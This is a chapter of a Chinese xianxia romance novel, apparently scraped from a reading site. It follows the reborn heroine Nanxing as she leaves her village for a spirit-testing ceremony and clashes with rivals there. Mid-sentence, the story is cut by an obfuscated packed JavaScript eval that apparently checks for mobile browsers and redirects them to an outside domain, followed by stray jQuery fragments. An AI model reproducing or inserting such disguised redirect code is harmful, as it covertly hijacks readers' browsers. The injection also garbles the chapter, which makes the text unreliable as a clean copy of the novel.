3. 天枢瀛洲测灵大典

作品:《重生回宿敌年少时

    炊烟袅袅,远村暧暧,此地坐落渔州,正是御灵宗的辖地。


    山溪拐弯处藏着十几户人家,茅檐下吊着几盘晒干的琼花,风一吹,空气就甜得发醉。


    村口老树下总有孩童踮脚偷摘花瓣,被酿酒妇人笑骂着赶跑。


    夕阳斜照时,少女相伴着浣洗刚采得鲜花,清脆的笑声惊起满树山雀。


    琼花村人管这叫“花汛”,最是一年好时节。


    “这批新酿不知销路如何,前些日子刚缴了福缘税,月尾的捉妖税还没着落呢。”林婶摇着蒲扇纳凉,嘴里止不住地嘟囔抱怨。


    林叔扛着最后几坛酒踉跄入窖,抹去额头上的汗:“害,这也是没办法的事。”


    新酿的花酒刚封了坛,泥封未干,南星指尖还沾着些许酒渍,却已整了整衣袖,朝林氏夫妇深深一揖:“婶叔,我要去瀛洲参加测灵大典。”她嗓音温软,眼里却是化不开的执拗。


    指间储物戒微光一闪,小山状的黄金“哗啦”堆了满桌。


    烛火映照下,灿灿金光灼人眼目。莫说寻常农户,便是整个琼花村不吃不喝攒上五六年,也未必能攒出这个数。


    林婶手一抖,酒碗险些落地。


    南星不记得幼时那只将她救下的妖兽,只是听二老频频讲起。


    当年林叔上山采药,方掘得一株南星草,竟兜头撞见个鹿角长须的银白妖兽,惊骇欲绝。


    谁料那妖兽却自背上轻衔下个襁褓女婴,送入他怀中便杳然无踪。


    夫妇二人膝下无子,待她如亲生骨肉,取名南星。每讲起当年之事,还会啧啧称奇:“没想到妖怪竟也通人性”。


    直至二十岁那年,琼花村大旱,来收税的修士逞凶伤人,南星情急之下竟灵力迸发,方知自己原是“神眷者”。


    世上原本只有人妖两族,上古众神陨落之后,人间诞生第一位神眷者,虽无神明之力,却身负灵骨可以修行。


    后世神眷者渐众,终成仙门一脉,遂定人仙妖三界格局。


    她被带回仙门,扯出那么多前尘往事来。


    “南星,这许多银钱是打哪儿来的?可莫要做傻事啊。”林叔素来温厚,此刻粗糙的手掌交叠摩挲,担心不已。


    南星眼疾手快,先一步捂住耳朵。


    “不许去!”


    林婶刚反应过来,嗓门大到半个村子都能听见:“你才多大?十五!瀛洲那是什么地方?那些仙门中人抬抬手指,你这小身板就得被风吹跑!”


    南星半真半假地编着故事,说是救了位落难的世家公子得的谢礼。


    直至西山日落,二老总算信了七八分,可仍不松口。南星也不争辩,只乖顺应声。


    夜浓如墨,星河低垂。


    南星从窗沿翻出,端端正正叩了三个响头,消失在院中。


    木桌上,一壶世家独享的瑞雪酒压着张泛黄的布条,墨迹尚新:“瑞雪酒方,若以寻常谷物仿酿,虽不及原味十之一二,却可惠及百姓,定能大卖。”


    林叔识字,他会念给婶婶听的。一想到明日林婶定会气得跳脚,走在路上的南星犹能闻到衣带上沾染的清冽酒香,鼻头一酸。


    原来夜露这般重,连眼眶都沾湿了。


    …………


    瀛洲之地,烟涛微茫,不位九州之列,却为天下灵枢。


    传闻此地乃上古地脉交汇所化,飞禽走兽,花木溪山,无一不浸着清灵之气。


    远处问仙岛云雾缭绕,飞瀑如银龙坠入深潭。朱漆牌坊下人头攒动,“测灵大典”的金字在朝阳中刺目非常。南星站在队列前端,指节早已攥得发白。


    千百年来,仙门七宗皆觊觎此宝地,却终究争不过天衍宗。


    而今执掌这方天地的,正是那位天衍宗掌门沈去浊。


    “洗心归去浊”,这样的名字,他也担得起吗?


    前世她势单力孤,拼死放走妖王白泽,除却他比自己更有希望推动人妖结盟,确有一点私心在。


    那白泽形貌,与当年救她的妖兽何其相似,不知是否相识呢?一命抵一命,也算偿还昔年相救之恩。


    欲破仙门奴役两界之局,就必须掌握至高权力,获得更多支持。


    想起前世号令群修、统掌仙门的谢兆光,南星暗下决心。


    同为神剑剑主,这道首尊位,她未必坐不得。


    “畜生!”


    一声厉喝引得南星侧目,歪头看去,才知风波起于一枚碎裂的腾蛇玄玉佩。


    那身着品蓝锦袍的王氏郎君怒不可遏,拎起只贴满符箓的“耳鼠”狠狠掼在地上,只怕它便是破坏玉佩的罪魁祸首。


    小兽周身符文明灭,虽抖若筛糠,仍拼命挣扎欲逃,却被禁制牢牢钉在原地。


    王氏少年气急攻心,抬脚便欲将其碾死。


    谁料南星横箫于掌,指腹轻抚箫孔斑驳,竟以箫作棍,倏地点在那锦衣少年腹间。力道拿捏得极准,只将人掀翻在地便收势。


    本该是逗花引月的雅器,偏教她使出了几分江湖匪气。


    “道友,我手滑了,不是故意的。”少女生得温婉,此刻慌慌张张收起玉箫,杏眸含雾连连摇头,一副不关我事的模样。


    这般情态,倒叫那王氏子发作不得。


    周遭同伴却已围拢过来,围住南星就要兴师问罪。


    “嗖!”


    一支燃着赤焰的木箭贴着王氏郎君的头顶钉入青石,燎焦几撮发丝。火舌吞吐,吓得他刚撑起的身子又软倒在地。


    “王氏好大的威风,敢在我的地界撒野?”


    红衣少女自仙禽背上一跃而下,那坐骑化作只五彩鹦鹉落于主人肩头。


    “找死,找死。”灵禽扑棱着翅膀尖声附和,换来主人一记轻弹。


    那王氏子踉跄爬起,还欲争辩,却被同伴连拖带拽地拉走了,只余那只伤痕累累的耳鼠在原地扑腾。


    南星背过身去,春鸢不律在掌心化笔,凌空勾画出两道符咒。


    她修为尚浅,不能无声掐咒,只好遮掩着嘟囔:“天罗神,地罗神,金绳铁锁化微尘。”


    那耳鼠身上的重重禁制竟全数破解,连伤痕也缓慢愈合。


    小兽似有所感,朝南星望了一眼,便窜入太湖畔的树丛不见了踪影。


    “我叫沈酣棠”,红衣少女忽地拽住南星衣袖,杏眼弯成月牙,“你生得真好看。”


    南星正是心虚的时候,被她吓得心沉。


    本不欲理会,奈何这姑娘实在热情,方才好歹也算替她解了围,总不好太过冷淡。


    “南星。”她略一颔首,状作试探地问:“那玉佩不过彰显身份之物,何至如此动怒?”


    “三大世家无用的花样可多了,这些信物皆量身定制,能追踪方圆一里内的同族。”沈酣棠掏出一袋灵粟,逗弄起肩头的鹦鹉来。


    “追踪?”南星心头一跳,蓦地想起前几日所得“谢礼”,不由暗恼。


    好个谢澄,饶是她素来好脾性,也不禁骂道此人原是面白心黑,连她也蒙骗过去。


    指尖悄悄摩挲储物戒,南星不动声色往桥边挪了半步。


    太湖烟波浩渺,正是毁尸灭迹的好去处。


    正当那枚麒麟佩将将滑出戒口——


    “又见面了。”


    熟悉的清越嗓音乍响耳畔。


    南星身形微滞,抬眼见来人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685421|173311||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神仪明秀,剑眉星目,腰间的“纯钧剑”更是光芒夺目。


    打眼望去,就是一个字——贵。


    “这不是天下最华美的神剑‘纯钧’吗?”沈酣棠很是识货,气得咬牙,从喉间憋出一句带着火气的“怎么被他先寻去了!”


    十方势力各据一州,虽统称仙门,可三姓与七宗间却明争暗斗数百年,恰似那东风与西风,谁也压不倒谁。


    小辈们自幼浸淫其中,虽相看两厌,却偏生纠缠不清,倒似天生冤家。


    南星只能又将玉佩收好,她不动声色往沈酣棠身后挪了半步,眼观鼻鼻观心,权当没听见那声招呼。


    自打知道谢澄即谢兆光后,南星辗转难眠。前世那记穿心剑痛,犹在午夜梦回时隐隐作祟。


    早知道当时不戏弄他了。


    一面又暗自欢喜,幸而先立下契约,今生今世,任他谢道首剑术通神,想伤她也是代价不小。


    谢澄执剑抱臂而立,打趣道:“瑞雪酒合口吗?”


    “呵!”沈酣棠还以为谢澄在问自己,当即冷笑出声,上前一步说:“你们岚州的浊酒,也配与我们天衍宗的醉仙酿相较?”她比出丈许距离补充道:“差着一个东海呢。”


    “我可不会惯着你,让开。”谢澄凤眸微眯,寒意凛然。


    这位天之骄子何曾将旁人放在眼里?第一宗门撞上第一世家,很难说哪位该暂避锋芒。


    神仙打架,小鬼遭殃。


    沈酣棠察觉到南星往她身后躲,终于了然谢澄是冲着自己刚“救”下的美人来的。


    连酒的虚名都要争,此时又怎肯相让。


    “当这里是你家吗?南星是我朋友,离她远点。”说罢还回头冲南星眨了眨眼,一副“别怕,我罩你”的架势。


    南星暗暗叫苦,沈酣棠是自己最不擅长应付的那种人,这般率性而为、全无章法,偏偏又热络得紧,倒叫她进退维谷。


    “棠儿。”


    一道浑厚嗓音自问仙岛深处传来,在周围人不掩艳羡的目光中,酣棠撇撇嘴,不情不愿地松开南星衣袖。


    “走啦!”她翻身上了五彩仙禽,临行前还不忘冲谢澄做个鬼脸。


    灵鸟驮着主人,往那座仙气飘渺的空中楼阁飞去,在苍穹上划过一尾流云。


    南星抬手捻住一根飘落的禽鸟尾羽,觉得这位姑娘有些特别。她的那只鹦鹉周身不见半点禁制,却乖顺通灵,实属异数。


    “她是天衍宗掌门亡妹的遗孤,被惯得无法无天。”谢澄见南星仍望着天际出神,只当她是被沈酣棠的唐突搅糊涂了,又补充说:“这丫头素来以貌取人,俗得很,你别理她。”


    南星却不动声色地往旁边挪了几步,与谢澄保持距离:“我只是诧异,她那只灵兽鹦鹉,倒不似以术法强拘来的,粘人得很。”


    谢澄没想到她关注点在这里,不由失笑:“那妖兽是她幼时从膳房救下的,养在身边多年。”


    南星心中泛起涟漪,轻轻转动指间的玉箫,温声道:“与妖兽相处得这样好,真是令人惊叹呢。”


    谁能想到,在这屠妖成风的仙门里,竟藏着这样一朵奇葩。


    “妖性本恶,若非沈酣棠以死相逼,沈掌门早就将那只鸟妖处理掉了。”谢澄眼中闪过一丝厌恶,被南星尽数捕捉。


    她浅浅一笑,有些意味深长。


    谢澄的思绪被这一笑笼回,他还是不能想象。


    这般温软模样下,藏着个在鬼市招摇撞骗、敛财无数的“白无常”,更遑论之前冥河肉搏、方才执箫为棍的利落身手。


    仙门之中,居然还有这般人物,好像被家里强押来这测灵大典,也无甚不好。